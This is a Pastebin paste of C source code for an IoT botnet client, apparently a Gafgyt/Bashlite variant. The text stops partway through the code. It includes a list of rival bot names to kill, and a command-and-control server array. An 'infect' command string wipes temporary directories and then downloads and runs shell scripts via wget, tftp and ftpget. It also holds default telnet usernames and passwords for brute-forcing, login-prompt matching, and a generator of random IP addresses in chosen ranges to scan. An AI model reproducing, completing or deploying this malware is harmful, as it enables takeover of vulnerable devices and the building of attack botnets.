Advertisement
theaggron

Untitled

Jan 9th, 2017
107
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 113.61 KB | None | 0 0
  1. /*
  2. autistic screehces
  3. */
  4. #define PHI 0x9e3779b9
  5. #define PR_SET_NAME 15
  6. #define SERVER_LIST_SIZE (sizeof(PromServer) / sizeof(unsigned char *))
  7. #define PAD_RIGHT 1
  8. #define PAD_ZERO 2
  9. #define PRINT_BUF_LEN 12
  10. #define CMD_IAC 255
  11. #define CMD_WILL 251
  12. #define CMD_WONT 252
  13. #define CMD_DO 253
  14. #define CMD_DONT 254
  15. #define OPT_SGA 3
  16. #define STD2_SIZE 65
  17. #define BUFFER_SIZE 1024
  18. #include <stdlib.h>
  19. #include <stdarg.h>
  20. #include <stdio.h>
  21. #include <sys/socket.h>
  22. #include <sys/types.h>
  23. #include <netinet/in.h>
  24. #include <arpa/inet.h>
  25. #include <netdb.h>
  26. #include <signal.h>
  27. #include <strings.h>
  28. #include <string.h>
  29. #include <sys/utsname.h>
  30. #include <unistd.h>
  31. #include <fcntl.h>
  32. #include <errno.h>
  33. #include <netinet/ip.h>
  34. #include <netinet/udp.h>
  35. #include <netinet/tcp.h>
  36. #include <sys/wait.h>
  37. #include <sys/ioctl.h>
  38. #include <net/if.h>
  39.  
  40.  
  41. const char *knownBots[] = {
  42. "mips",
  43. "mipsel",
  44. "sh4",
  45. "x86",
  46. "i686",
  47. "ppc",
  48. "i586",
  49. "i586",
  50. "jackmy*",
  51. "hackmy*",
  52. "arm*",
  53. "b1",
  54. "b2",
  55. "b3",
  56. "b4",
  57. "b5",
  58. "b6",
  59. "b7",
  60. "b8",
  61. "b9",
  62. "busyboxterrorist",
  63. "DFhxdhdf",
  64. "dvrHelper",
  65. "FDFDHFC",
  66. "FEUB",
  67. "FTUdftui",
  68. "GHfjfgvj",
  69. "jhUOH",
  70. "JIPJIPJj",
  71. "JIPJuipjh",
  72. "kmyx86_64",
  73. "lolmipsel",
  74. "mips",
  75. "mipsel",
  76. "RYrydry",
  77. "tel*",
  78. "TwoFace*",
  79. "UYyuyioy",
  80. "wget",
  81. "x86_64",
  82. "XDzdfxzf",
  83. "xxb*",
  84. "sh",
  85. "1",
  86. "2",
  87. "3",
  88. "4",
  89. "5",
  90. "6",
  91. "7",
  92. "8",
  93. "9",
  94. "10",
  95. "11",
  96. "12",
  97. "13",
  98. "14",
  99. "15",
  100. "16",
  101. "17",
  102. "18",
  103. "19",
  104. "20",
  105. "hackz",
  106. "bin*",
  107. "gtop",
  108. "ftp*",
  109. "tftp*",
  110. "botnet",
  111. "swatnet",
  112. "ballpit",
  113. "fucknet",
  114. "cracknet",
  115. "weednet",
  116. "gaynet",
  117. "queernet",
  118. "ballnet",
  119. "unet",
  120. "yougay",
  121. "sttftp",
  122. "sstftp",
  123. "sbtftp",
  124. "btftp",
  125. "y0u1sg3y",
  126. "bruv*",
  127. "IoT*",
  128. };
  129.  
  130. // ip for all of the files
  131. //Port needs to be changed down below so yeah
  132. unsigned char *PromServer[] =
  133. {
  134. "0.0.0.0"
  135. };
  136.  
  137. int initConnection();
  138. int getBogos(unsigned char *bogomips);
  139. int getCores();
  140. int getCountry(unsigned char *buf, int bufsize);
  141. void makeRandomStr(unsigned char *buf, int length);
  142. int sockprintf(int sock, char *formatStr, ...);
  143. char *inet_ntoa(struct in_addr in);
  144.  
  145. int mainCommSock = 0, currentServer = -1, gotIP = 0;
  146. uint32_t *pids;
  147. uint32_t scanPid;
  148. uint64_t numpids = 0;
  149. struct in_addr ourIP;
  150. struct in_addr ourPublicIP;
  151. unsigned char macAddress[6] = {0};
  152.  
  153. char *infect = "cd /tmp || cd /var/system || cd /mnt || cd /lib;rm -f /tmp/* || /var/run/* || /var/system/* || /mnt/* || /lib/*;cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://0.0.0.0/bins.sh; chmod 777 bins.sh; sh bins.sh; tftp 0.0.0.0 -c get tftp1.sh; chmod 777 tftp1.sh; sh tftp1.sh; tftp -r tftp2.sh -g 0.0.0.0; chmod 777 tftp2.sh; sh tftp2.sh; ftpget -v -u anonymous -p anonymous -P 21 0.0.0.0 ftp1.sh ftp1.sh; sh ftp1.sh; rm -rf bins.sh tftp1.sh tftp2.sh ftp1.sh\r\n";
  154. char *usernames[] = {"root\0", "root\0", "telnet",};//Dont Fuck With These
  155. char *passwords[] = {"root\0", "\0", "telnet",};//These either
  156. char *tmpdirs[] = {"/dev/netslink/", "/tmp/", "/var/", "/dev/", "/var/run/", "/dev/shm/", "/mnt/", "/boot/", "/usr/", "/opt/", (char*)0};
  157. char *advances[] = {":", "ogin", "sername", "assword", (char*)0};
  158. char *fails[] = {"nvalid", "ailed", "ncorrect", "enied", "rror", "oodbye", "bad", (char*)0};
  159. char *successes[] = {"busybox", "$", "#", (char*)0};
  160. char *advances2[] = {"nvalid", "ailed", "ncorrect", "enied", "rror", "oodbye", "bad", "busybox", "$", "#", (char*)0};
  161. int Nranges [] = {110,111,112,113,114,115,116,117,118,119,223,1,103,203,202,122};//My original idea
  162.  
  163.  
  164. static uint32_t Q[4096], c = 362436;
  165.  
  166. void init_rand(uint32_t x)
  167. {
  168. int i;
  169.  
  170. Q[0] = x;
  171. Q[1] = x + PHI;
  172. Q[2] = x + PHI + PHI;
  173.  
  174. for (i = 3; i < 4096; i++) Q[i] = Q[i - 3] ^ Q[i - 2] ^ PHI ^ i;
  175. }
  176.  
  177. uint32_t rand_cmwc(void)
  178. {
  179. uint64_t t, a = 18782LL;
  180. static uint32_t i = 4095;
  181. uint32_t x, r = 0xfffffffe;
  182. i = (i + 1) & 4095;
  183. t = a * Q[i] + c;
  184. c = (uint32_t)(t >> 32);
  185. x = t + c;
  186. if (x < c) {
  187. x++;
  188. c++;
  189. }
  190. return (Q[i] = r - x);
  191. }
  192.  
  193. void trim(char *str)
  194. {
  195. int i;
  196. int begin = 0;
  197. int end = strlen(str) - 1;
  198.  
  199. while (isspace(str[begin])) begin++;
  200.  
  201. while ((end >= begin) && isspace(str[end])) end--;
  202. for (i = begin; i <= end; i++) str[i - begin] = str[i];
  203.  
  204. str[i - begin] = '\0';
  205. }
  206.  
  207. static void printchar(unsigned char **str, int c)
  208. {
  209. if (str) {
  210. **str = c;
  211. ++(*str);
  212. }
  213. else (void)write(1, &c, 1);
  214. }
  215.  
  216. static int prints(unsigned char **out, const unsigned char *string, int width, int pad)
  217. {
  218. register int pc = 0, padchar = ' ';
  219.  
  220. if (width > 0) {
  221. register int len = 0;
  222. register const unsigned char *ptr;
  223. for (ptr = string; *ptr; ++ptr) ++len;
  224. if (len >= width) width = 0;
  225. else width -= len;
  226. if (pad & PAD_ZERO) padchar = '0';
  227. }
  228. if (!(pad & PAD_RIGHT)) {
  229. for ( ; width > 0; --width) {
  230. printchar (out, padchar);
  231. ++pc;
  232. }
  233. }
  234. for ( ; *string ; ++string) {
  235. printchar (out, *string);
  236. ++pc;
  237. }
  238. for ( ; width > 0; --width) {
  239. printchar (out, padchar);
  240. ++pc;
  241. }
  242.  
  243. return pc;
  244. }
  245.  
  246. static int printi(unsigned char **out, int i, int b, int sg, int width, int pad, int letbase)
  247. {
  248. unsigned char print_buf[PRINT_BUF_LEN];
  249. register unsigned char *s;
  250. register int t, neg = 0, pc = 0;
  251. register unsigned int u = i;
  252.  
  253. if (i == 0) {
  254. print_buf[0] = '0';
  255. print_buf[1] = '\0';
  256. return prints (out, print_buf, width, pad);
  257. }
  258.  
  259. if (sg && b == 10 && i < 0) {
  260. neg = 1;
  261. u = -i;
  262. }
  263.  
  264. s = print_buf + PRINT_BUF_LEN-1;
  265. *s = '\0';
  266.  
  267. while (u) {
  268. t = u % b;
  269. if( t >= 10 )
  270. t += letbase - '0' - 10;
  271. *--s = t + '0';
  272. u /= b;
  273. }
  274.  
  275. if (neg) {
  276. if( width && (pad & PAD_ZERO) ) {
  277. printchar (out, '-');
  278. ++pc;
  279. --width;
  280. }
  281. else {
  282. *--s = '-';
  283. }
  284. }
  285.  
  286. return pc + prints (out, s, width, pad);
  287. }
  288.  
  289. static int print(unsigned char **out, const unsigned char *format, va_list args )
  290. {
  291. register int width, pad;
  292. register int pc = 0;
  293. unsigned char scr[2];
  294.  
  295. for (; *format != 0; ++format) {
  296. if (*format == '%') {
  297. ++format;
  298. width = pad = 0;
  299. if (*format == '\0') break;
  300. if (*format == '%') goto out;
  301. if (*format == '-') {
  302. ++format;
  303. pad = PAD_RIGHT;
  304. }
  305. while (*format == '0') {
  306. ++format;
  307. pad |= PAD_ZERO;
  308. }
  309. for ( ; *format >= '0' && *format <= '9'; ++format) {
  310. width *= 10;
  311. width += *format - '0';
  312. }
  313. if( *format == 's' ) {
  314. register char *s = (char *)va_arg( args, int );
  315. pc += prints (out, s?s:"(null)", width, pad);
  316. continue;
  317. }
  318. if( *format == 'd' ) {
  319. pc += printi (out, va_arg( args, int ), 10, 1, width, pad, 'a');
  320. continue;
  321. }
  322. if( *format == 'x' ) {
  323. pc += printi (out, va_arg( args, int ), 16, 0, width, pad, 'a');
  324. continue;
  325. }
  326. if( *format == 'X' ) {
  327. pc += printi (out, va_arg( args, int ), 16, 0, width, pad, 'A');
  328. continue;
  329. }
  330. if( *format == 'u' ) {
  331. pc += printi (out, va_arg( args, int ), 10, 0, width, pad, 'a');
  332. continue;
  333. }
  334. if( *format == 'c' ) {
  335. scr[0] = (unsigned char)va_arg( args, int );
  336. scr[1] = '\0';
  337. pc += prints (out, scr, width, pad);
  338. continue;
  339. }
  340. }
  341. else {
  342. out:
  343. printchar (out, *format);
  344. ++pc;
  345. }
  346. }
  347. if (out) **out = '\0';
  348. va_end( args );
  349. return pc;
  350. }
  351.  
  352. int zprintf(const unsigned char *format, ...)
  353. {
  354. va_list args;
  355. va_start( args, format );
  356. return print( 0, format, args );
  357. }
  358.  
  359. int szprintf(unsigned char *out, const unsigned char *format, ...)
  360. {
  361. va_list args;
  362. va_start( args, format );
  363. return print( &out, format, args );
  364. }
  365.  
  366.  
  367. int sockprintf(int sock, char *formatStr, ...)
  368. {
  369. unsigned char *textBuffer = malloc(2048);
  370. memset(textBuffer, 0, 2048);
  371. char *orig = textBuffer;
  372. va_list args;
  373. va_start(args, formatStr);
  374. print(&textBuffer, formatStr, args);
  375. va_end(args);
  376. orig[strlen(orig)] = '\n';
  377. int q = send(sock,orig,strlen(orig), MSG_NOSIGNAL);
  378. free(orig);
  379. return q;
  380. }
  381.  
  382. static int *fdopen_pids;
  383.  
  384. int fdpopen(unsigned char *program, register unsigned char *type)
  385. {
  386. register int iop;
  387. int pdes[2], fds, pid;
  388.  
  389. if (*type != 'r' && *type != 'w' || type[1]) return -1;
  390.  
  391. if (pipe(pdes) < 0) return -1;
  392. if (fdopen_pids == NULL) {
  393. if ((fds = getdtablesize()) <= 0) return -1;
  394. if ((fdopen_pids = (int *)malloc((unsigned int)(fds * sizeof(int)))) == NULL) return -1;
  395. memset((unsigned char *)fdopen_pids, 0, fds * sizeof(int));
  396. }
  397.  
  398. switch (pid = vfork())
  399. {
  400. case -1:
  401. close(pdes[0]);
  402. close(pdes[1]);
  403. return -1;
  404. case 0:
  405. if (*type == 'r') {
  406. if (pdes[1] != 1) {
  407. dup2(pdes[1], 1);
  408. close(pdes[1]);
  409. }
  410. close(pdes[0]);
  411. } else {
  412. if (pdes[0] != 0) {
  413. (void) dup2(pdes[0], 0);
  414. (void) close(pdes[0]);
  415. }
  416. (void) close(pdes[1]);
  417. }
  418. execl("/bin/sh", "sh", "-c", program, NULL);
  419. _exit(127);
  420. }
  421. if (*type == 'r') {
  422. iop = pdes[0];
  423. (void) close(pdes[1]);
  424. } else {
  425. iop = pdes[1];
  426. (void) close(pdes[0]);
  427. }
  428. fdopen_pids[iop] = pid;
  429. return (iop);
  430. }
  431.  
  432. int fdpclose(int iop)
  433. {
  434. register int fdes;
  435. sigset_t omask, nmask;
  436. int pstat;
  437. register int pid;
  438.  
  439. if (fdopen_pids == NULL || fdopen_pids[iop] == 0) return (-1);
  440. (void) close(iop);
  441. sigemptyset(&nmask);
  442. sigaddset(&nmask, SIGINT);
  443. sigaddset(&nmask, SIGQUIT);
  444. sigaddset(&nmask, SIGHUP);
  445. (void) sigprocmask(SIG_BLOCK, &nmask, &omask);
  446. do {
  447. pid = waitpid(fdopen_pids[iop], (int *) &pstat, 0);
  448. } while (pid == -1 && errno == EINTR);
  449. (void) sigprocmask(SIG_SETMASK, &omask, NULL);
  450. fdopen_pids[fdes] = 0;
  451. return (pid == -1 ? -1 : WEXITSTATUS(pstat));
  452. }
  453.  
  454. unsigned char *fdgets(unsigned char *buffer, int bufferSize, int fd)
  455. {
  456. int got = 1, total = 0;
  457. while(got == 1 && total < bufferSize && *(buffer + total - 1) != '\n') { got = read(fd, buffer + total, 1); total++; }
  458. return got == 0 ? NULL : buffer;
  459. }
  460.  
  461. static const long hextable[] = {
  462. [0 ... 255] = -1,
  463. ['0'] = 0, 1, 2, 3, 4, 5, 6, 7, 8, 9,
  464. ['A'] = 10, 11, 12, 13, 14, 15,
  465. ['a'] = 10, 11, 12, 13, 14, 15
  466. };
  467.  
  468. long parseHex(unsigned char *hex)
  469. {
  470. long ret = 0;
  471. while (*hex && ret >= 0) ret = (ret << 4) | hextable[*hex++];
  472. return ret;
  473. }
  474.  
  475. int wildString(const unsigned char* pattern, const unsigned char* string) {
  476. switch(*pattern)
  477. {
  478. case '\0': return *string;
  479. case '*': return !(!wildString(pattern+1, string) || *string && !wildString(pattern, string+1));
  480. case '?': return !(*string && !wildString(pattern+1, string+1));
  481. default: return !((toupper(*pattern) == toupper(*string)) && !wildString(pattern+1, string+1));
  482. }
  483. }
  484.  
  485. int getHost(unsigned char *toGet, struct in_addr *i)
  486. {
  487. struct hostent *h;
  488. if((i->s_addr = inet_addr(toGet)) == -1) return 1;
  489. return 0;
  490. }
  491.  
  492. void uppercase(unsigned char *str)
  493. {
  494. while(*str) { *str = toupper(*str); str++; }
  495. }
  496.  
  497. int getBogos(unsigned char *bogomips)
  498. {
  499. int cmdline = open("/proc/cpuinfo", O_RDONLY);
  500. char linebuf[4096];
  501. while(fdgets(linebuf, 4096, cmdline) != NULL)
  502. {
  503. uppercase(linebuf);
  504. if(strstr(linebuf, "BOGOMIPS") == linebuf)
  505. {
  506. unsigned char *pos = linebuf + 8;
  507. while(*pos == ' ' || *pos == '\t' || *pos == ':') pos++;
  508. while(pos[strlen(pos)-1] == '\r' || pos[strlen(pos)-1] == '\n') pos[strlen(pos)-1]=0;
  509. if(strchr(pos, '.') != NULL) *strchr(pos, '.') = 0x00;
  510. strcpy(bogomips, pos);
  511. close(cmdline);
  512. return 0;
  513. }
  514. memset(linebuf, 0, 4096);
  515. }
  516. close(cmdline);
  517. return 1;
  518. }
  519.  
  520. int getCores()
  521. {
  522. int totalcores = 0;
  523. int cmdline = open("/proc/cpuinfo", O_RDONLY);
  524. char linebuf[4096];
  525. while(fdgets(linebuf, 4096, cmdline) != NULL)
  526. {
  527. uppercase(linebuf);
  528. if(strstr(linebuf, "BOGOMIPS") == linebuf) totalcores++;
  529. memset(linebuf, 0, 4096);
  530. }
  531. close(cmdline);
  532. return totalcores;
  533.  
  534. }
  535.  
  536. void makeRandomStr(unsigned char *buf, int length)
  537. {
  538. int i = 0;
  539. for(i = 0; i < length; i++) buf[i] = (rand_cmwc()%(91-65))+65;
  540. }
  541.  
  542. int recvLine(int socket, unsigned char *buf, int bufsize)
  543. {
  544. memset(buf, 0, bufsize);
  545.  
  546. fd_set myset;
  547. struct timeval tv;
  548. tv.tv_sec = 30;
  549. tv.tv_usec = 0;
  550. FD_ZERO(&myset);
  551. FD_SET(socket, &myset);
  552. int selectRtn, retryCount;
  553. if ((selectRtn = select(socket+1, &myset, NULL, &myset, &tv)) <= 0) {
  554. while(retryCount < 10)
  555. {
  556. sockprintf(mainCommSock, "PING");
  557.  
  558. tv.tv_sec = 30;
  559. tv.tv_usec = 0;
  560. FD_ZERO(&myset);
  561. FD_SET(socket, &myset);
  562. if ((selectRtn = select(socket+1, &myset, NULL, &myset, &tv)) <= 0) {
  563. retryCount++;
  564. continue;
  565. }
  566.  
  567. break;
  568. }
  569. }
  570.  
  571. unsigned char tmpchr;
  572. unsigned char *cp;
  573. int count = 0;
  574.  
  575. cp = buf;
  576. while(bufsize-- > 1)
  577. {
  578. if(recv(mainCommSock, &tmpchr, 1, 0) != 1) {
  579. *cp = 0x00;
  580. return -1;
  581. }
  582. *cp++ = tmpchr;
  583. if(tmpchr == '\n') break;
  584. count++;
  585. }
  586. *cp = 0x00;
  587.  
  588. // zprintf("recv: %s\n", cp);
  589.  
  590. return count;
  591. }
  592.  
  593. struct telstate_t
  594. {
  595. int fd;
  596. unsigned int ip;
  597. unsigned char state;
  598. unsigned char complete;
  599. unsigned char usernameInd;
  600. unsigned char passwordInd;
  601. unsigned char tempDirInd;
  602. unsigned int totalTimeout;
  603. unsigned short bufUsed;
  604. char *sockbuf;
  605. };
  606. const char* get_telstate_host(struct telstate_t* telstate)
  607. {
  608. struct in_addr in_addr_ip;
  609. in_addr_ip.s_addr = telstate->ip;
  610. return inet_ntoa(in_addr_ip);
  611. }
  612.  
  613. int read_until_response(int fd, int timeout_usec, char* buffer, int buf_size, char** strings)
  614. {
  615. int num_bytes, i;
  616. memset(buffer, 0, buf_size);
  617. num_bytes = read_with_timeout(fd, timeout_usec, buffer, buf_size);
  618.  
  619. if(buffer[0] == 0xFF)
  620. {
  621. negotiate(fd, buffer, 3);
  622. }
  623.  
  624. if(contains_string(buffer, strings))
  625. {
  626. return 1;
  627. }
  628.  
  629. return 0;
  630. }
  631. int read_with_timeout(int fd, int timeout_usec, char* buffer, int buf_size)
  632. {
  633. fd_set read_set;
  634. struct timeval tv;
  635. tv.tv_sec = 0;
  636. tv.tv_usec = timeout_usec;
  637.  
  638. FD_ZERO(&read_set);
  639. FD_SET(fd, &read_set);
  640.  
  641. if (select(fd+1, &read_set, NULL, NULL, &tv) < 1)
  642. return 0;
  643.  
  644. return recv(fd, buffer, buf_size, 0);
  645. }
  646. void advance_state(struct telstate_t* telstate, int new_state)
  647. {
  648. if(new_state == 0)
  649. {
  650. close(telstate->fd);
  651. }
  652.  
  653. telstate->totalTimeout = 0;
  654. telstate->state = new_state;
  655. memset((telstate->sockbuf), 0, BUFFER_SIZE);
  656. }
  657.  
  658. void reset_telstate(struct telstate_t* telstate)
  659. {
  660. advance_state(telstate, 0);
  661. telstate->complete = 1;
  662. }
  663. int contains_success(char* buffer)
  664. {
  665. return contains_string(buffer, successes);
  666. }
  667. int contains_fail(char* buffer)
  668. {
  669. return contains_string(buffer, fails);
  670. }
  671. int contains_response(char* buffer)
  672. {
  673. return contains_success(buffer) || contains_fail(buffer);
  674. }
  675. int contains_string(char* buffer, char** strings)
  676. {
  677. int num_strings = 0, i = 0;
  678.  
  679. for(num_strings = 0; strings[++num_strings] != 0; );
  680.  
  681. for(i = 0; i < num_strings; i++)
  682. {
  683. if(strcasestr(buffer, strings[i]))
  684. {
  685. return 1;
  686. }
  687. }
  688.  
  689. return 0;
  690. }
  691.  
  692. int connectTimeout(int fd, char *host, int port, int timeout)
  693. {
  694. struct sockaddr_in dest_addr;
  695. fd_set myset;
  696. struct timeval tv;
  697. socklen_t lon;
  698.  
  699. int valopt;
  700. long arg = fcntl(fd, F_GETFL, NULL);
  701. arg |= O_NONBLOCK;
  702. fcntl(fd, F_SETFL, arg);
  703.  
  704. dest_addr.sin_family = AF_INET;
  705. dest_addr.sin_port = htons(port);
  706. if(getHost(host, &dest_addr.sin_addr)) return 0;
  707. memset(dest_addr.sin_zero, '\0', sizeof dest_addr.sin_zero);
  708. int res = connect(fd, (struct sockaddr *)&dest_addr, sizeof(dest_addr));
  709.  
  710. if (res < 0) {
  711. if (errno == EINPROGRESS) {
  712. tv.tv_sec = timeout;
  713. tv.tv_usec = 0;
  714. FD_ZERO(&myset);
  715. FD_SET(fd, &myset);
  716. if (select(fd+1, NULL, &myset, NULL, &tv) > 0) {
  717. lon = sizeof(int);
  718. getsockopt(fd, SOL_SOCKET, SO_ERROR, (void*)(&valopt), &lon);
  719. if (valopt) return 0;
  720. }
  721. else return 0;
  722. }
  723. else return 0;
  724. }
  725.  
  726. arg = fcntl(fd, F_GETFL, NULL);
  727. arg &= (~O_NONBLOCK);
  728. fcntl(fd, F_SETFL, arg);
  729.  
  730. return 1;
  731. }
  732.  
  733. int listFork()
  734. {
  735. uint32_t parent, *newpids, i;
  736. parent = fork();
  737. if (parent <= 0) return parent;
  738. numpids++;
  739. newpids = (uint32_t*)malloc((numpids + 1) * 4);
  740. for (i = 0; i < numpids - 1; i++) newpids[i] = pids[i];
  741. newpids[numpids - 1] = parent;
  742. free(pids);
  743. pids = newpids;
  744. return parent;
  745. }
  746.  
  747. int negotiate(int sock, unsigned char *buf, int len)
  748. {
  749. unsigned char c;
  750.  
  751. switch (buf[1]) {
  752. case CMD_IAC: /*dropped an extra 0xFF wh00ps*/ return 0;
  753. case CMD_WILL:
  754. case CMD_WONT:
  755. case CMD_DO:
  756. case CMD_DONT:
  757. c = CMD_IAC;
  758. send(sock, &c, 1, MSG_NOSIGNAL);
  759. if (CMD_WONT == buf[1]) c = CMD_DONT;
  760. else if (CMD_DONT == buf[1]) c = CMD_WONT;
  761. else if (OPT_SGA == buf[1]) c = (buf[1] == CMD_DO ? CMD_WILL : CMD_DO);
  762. else c = (buf[1] == CMD_DO ? CMD_WONT : CMD_DONT);
  763. send(sock, &c, 1, MSG_NOSIGNAL);
  764. send(sock, &(buf[2]), 1, MSG_NOSIGNAL);
  765. break;
  766.  
  767. default:
  768. break;
  769. }
  770.  
  771. return 0;
  772. }
  773.  
  774. int matchPrompt(char *bufStr)
  775. {
  776. char *prompts = ":>%$#\0";
  777.  
  778. int bufLen = strlen(bufStr);
  779. int i, q = 0;
  780. for(i = 0; i < strlen(prompts); i++)
  781. {
  782. while(bufLen > q && (*(bufStr + bufLen - q) == 0x00 || *(bufStr + bufLen - q) == ' ' || *(bufStr + bufLen - q) == '\r' || *(bufStr + bufLen - q) == '\n')) q++;
  783. if(*(bufStr + bufLen - q) == prompts[i]) return 1;
  784. }
  785.  
  786. return 0;
  787. }
  788.  
  789. int readUntil(int fd, char *toFind, int matchLePrompt, int timeout, int timeoutusec, char *buffer, int bufSize, int initialIndex)
  790. {
  791. int bufferUsed = initialIndex, got = 0, found = 0;
  792. fd_set myset;
  793. struct timeval tv;
  794. tv.tv_sec = timeout;
  795. tv.tv_usec = timeoutusec;
  796. unsigned char *initialRead = NULL;
  797.  
  798. while(bufferUsed + 2 < bufSize && (tv.tv_sec > 0 || tv.tv_usec > 0))
  799. {
  800. FD_ZERO(&myset);
  801. FD_SET(fd, &myset);
  802. if (select(fd+1, &myset, NULL, NULL, &tv) < 1) break;
  803. initialRead = buffer + bufferUsed;
  804. got = recv(fd, initialRead, 1, 0);
  805. if(got == -1 || got == 0) return 0;
  806. bufferUsed += got;
  807. if(*initialRead == 0xFF)
  808. {
  809. got = recv(fd, initialRead + 1, 2, 0);
  810. if(got == -1 || got == 0) return 0;
  811. bufferUsed += got;
  812. if(!negotiate(fd, initialRead, 3)) return 0;
  813. } else {
  814. if(strstr(buffer, toFind) != NULL || (matchLePrompt && matchPrompt(buffer))) { found = 1; break; }
  815. }
  816. }
  817.  
  818. if(found) return 1;
  819. return 0;
  820. }
  821.  
  822.  
  823.  
  824. static uint8_t ipState[5] = {0};
  825. in_addr_t GetRandomPublicIP()//IP GEN credz to cheats :)
  826. {
  827. ipState[1] = 0;
  828. ipState[2] = 0;
  829. ipState[3] = 0;
  830. ipState[4] = 0;
  831. ipState[1] = rand() % 255;
  832. ipState[2] = rand() % 255;
  833. ipState[3] = rand() % 255;
  834. ipState[4] = rand() % 255;
  835. int randnum = rand() % 115;
  836. char ip[16];
  837. if(randnum == 0)
  838. {
  839. szprintf(ip, "43.252.%d.%d", ipState[3], ipState[4]);
  840. }
  841. if(randnum == 1)
  842. {
  843. szprintf(ip, "43.239.%d.%d", ipState[3], ipState[4]);
  844. }
  845. if(randnum == 2)
  846. {
  847. szprintf(ip, "85.3.%d.%d", ipState[3], ipState[4]);
  848. }
  849. if(randnum == 3)
  850. {
  851. szprintf(ip, "37.158.%d.%d", ipState[3], ipState[4]);
  852. }
  853. if(randnum == 4)
  854. {
  855. szprintf(ip, "95.9.%d.%d", ipState[3], ipState[4]);
  856. }
  857. if(randnum == 5)
  858. {
  859. szprintf(ip, "41.252.%d.%d", ipState[3], ipState[4]);
  860. }
  861. if(randnum == 6)
  862. {
  863. szprintf(ip, "58.71.%d.%d", ipState[3], ipState[4]);
  864. }
  865. if(randnum == 7)
  866. {
  867. szprintf(ip, "104.55.%d.%d", ipState[3], ipState[4]);
  868. }
  869. if(randnum == 8)
  870. {
  871. szprintf(ip, "78.186.%d.%d", ipState[3], ipState[4]);
  872. }
  873. if(randnum == 9)
  874. {
  875. szprintf(ip, "78.189.%d.%d", ipState[3], ipState[4]);
  876. }
  877. if(randnum == 10)
  878. {
  879. szprintf(ip, "77.209.%d.%d", ipState[3], ipState[4]);
  880. }
  881. if(randnum == 11)
  882. {
  883. szprintf(ip, "88.5.%d.%d", ipState[3], ipState[4]);
  884. }
  885. if(randnum == 12)
  886. {
  887. szprintf(ip, "43.239.%d.%d", ipState[3], ipState[4]);
  888. }
  889. if(randnum == 13)
  890. {
  891. szprintf(ip, "103.20.%d.%d", ipState[3], ipState[4]);
  892. }
  893. if(randnum == 14)
  894. {
  895. szprintf(ip, "103.47.%d.%d", ipState[3], ipState[4]);
  896. }
  897. if(randnum == 15)
  898. {
  899. szprintf(ip, "103.57.%d.%d", ipState[3], ipState[4]);
  900. }
  901. if(randnum == 16)
  902. {
  903. szprintf(ip, "45.117.%d.%d", ipState[3], ipState[4]);
  904. }
  905. if(randnum == 17)
  906. {
  907. szprintf(ip, "101.51.%d.%d", ipState[3], ipState[4]);
  908. }
  909. if(randnum == 18)
  910. {
  911. szprintf(ip, "137.59.%d.%d", ipState[3], ipState[4]);
  912. }
  913. if(randnum == 19)
  914. {
  915. szprintf(ip, "1.56.%d.%d", ipState[3], ipState[4]);
  916. }
  917. if(randnum == 20)
  918. {
  919. szprintf(ip, "1.188.%d.%d", ipState[3], ipState[4]);
  920. }
  921. if(randnum == 21)
  922. {
  923. szprintf(ip, "14.204.%d.%d", ipState[3], ipState[4]);
  924. }
  925. if(randnum == 22)
  926. {
  927. szprintf(ip, "27.0.%d.%d", ipState[3], ipState[4]);
  928. }
  929. if(randnum == 23)
  930. {
  931. szprintf(ip, "27.8.%d.%d", ipState[3], ipState[4]);
  932. }
  933. if(randnum == 24)
  934. {
  935. szprintf(ip, "27.50.%d.%d", ipState[3], ipState[4]);
  936. }
  937. if(randnum == 25)
  938. {
  939. szprintf(ip, "27.54.%d.%d", ipState[3], ipState[4]);
  940. }
  941. if(randnum == 26)
  942. {
  943. szprintf(ip, "27.98.%d.%d", ipState[3], ipState[4]);
  944. }
  945. if(randnum == 27)
  946. {
  947. szprintf(ip, "27.112.%d.%d", ipState[3], ipState[4]);
  948. }
  949. if(randnum == 28)
  950. {
  951. szprintf(ip, "27.192.%d.%d", ipState[3], ipState[4]);
  952. }
  953. if(randnum == 29)
  954. {
  955. szprintf(ip, "36.32.%d.%d", ipState[3], ipState[4]);
  956. }
  957. if(randnum == 30)
  958. {
  959. szprintf(ip, "36.248.%d.%d", ipState[3], ipState[4]);
  960. }
  961. if(randnum == 31)
  962. {
  963. szprintf(ip, "39.64.%d.%d", ipState[3], ipState[4]);
  964. }
  965. if(randnum == 32)
  966. {
  967. szprintf(ip, "42.4.%d.%d", ipState[3], ipState[4]);
  968. }
  969. if(randnum == 33)
  970. {
  971. szprintf(ip, "42.48.%d.%d", ipState[3], ipState[4]);
  972. }
  973. if(randnum == 34)
  974. {
  975. szprintf(ip, "42.52.%d.%d", ipState[3], ipState[4]);
  976. }
  977. if(randnum == 35)
  978. {
  979. szprintf(ip, "42.56.%d.%d", ipState[3], ipState[4]);
  980. }
  981. if(randnum == 36)
  982. {
  983. szprintf(ip, "42.63.%d.%d", ipState[3], ipState[4]);
  984. }
  985. if(randnum == 37)
  986. {
  987. szprintf(ip, "42.84.%d.%d", ipState[3], ipState[4]);
  988. }
  989. if(randnum == 38)
  990. {
  991. szprintf(ip, "42.176.%d.%d", ipState[3], ipState[4]);
  992. }
  993. if(randnum == 39)
  994. {
  995. szprintf(ip, "42.224.%d.%d", ipState[3], ipState[4]);
  996. }
  997. if(randnum == 40)
  998. {
  999. szprintf(ip, "42.176.%d.%d", ipState[3], ipState[4]);
  1000. }
  1001. if(randnum == 41)
  1002. {
  1003. szprintf(ip, "60.0.%d.%d", ipState[3], ipState[4]);
  1004. }
  1005. if(randnum == 42)
  1006. {
  1007. szprintf(ip, "60.16.%d.%d", ipState[3], ipState[4]);
  1008. }
  1009. if(randnum == 43)
  1010. {
  1011. szprintf(ip, "163.53.%d.%d", ipState[3], ipState[4]);
  1012. }
  1013. if(randnum == 44)
  1014. {
  1015. szprintf(ip, "62.30.%d.%d", ipState[3], ipState[4]);
  1016. }
  1017. if(randnum == 45)
  1018. {
  1019. szprintf(ip, "62.252.%d.%d", ipState[3], ipState[4]);
  1020. }
  1021. if(randnum == 46)
  1022. {
  1023. szprintf(ip, "62.254.%d.%d", ipState[3], ipState[4]);
  1024. }
  1025. if(randnum == 47)
  1026. {
  1027. szprintf(ip, "62.255.%d.%d", ipState[3], ipState[4]);
  1028. }
  1029. if(randnum == 48)
  1030. {
  1031. szprintf(ip, "77.96.%d.%d", ipState[3], ipState[4]);
  1032. }
  1033. if(randnum == 49)
  1034. {
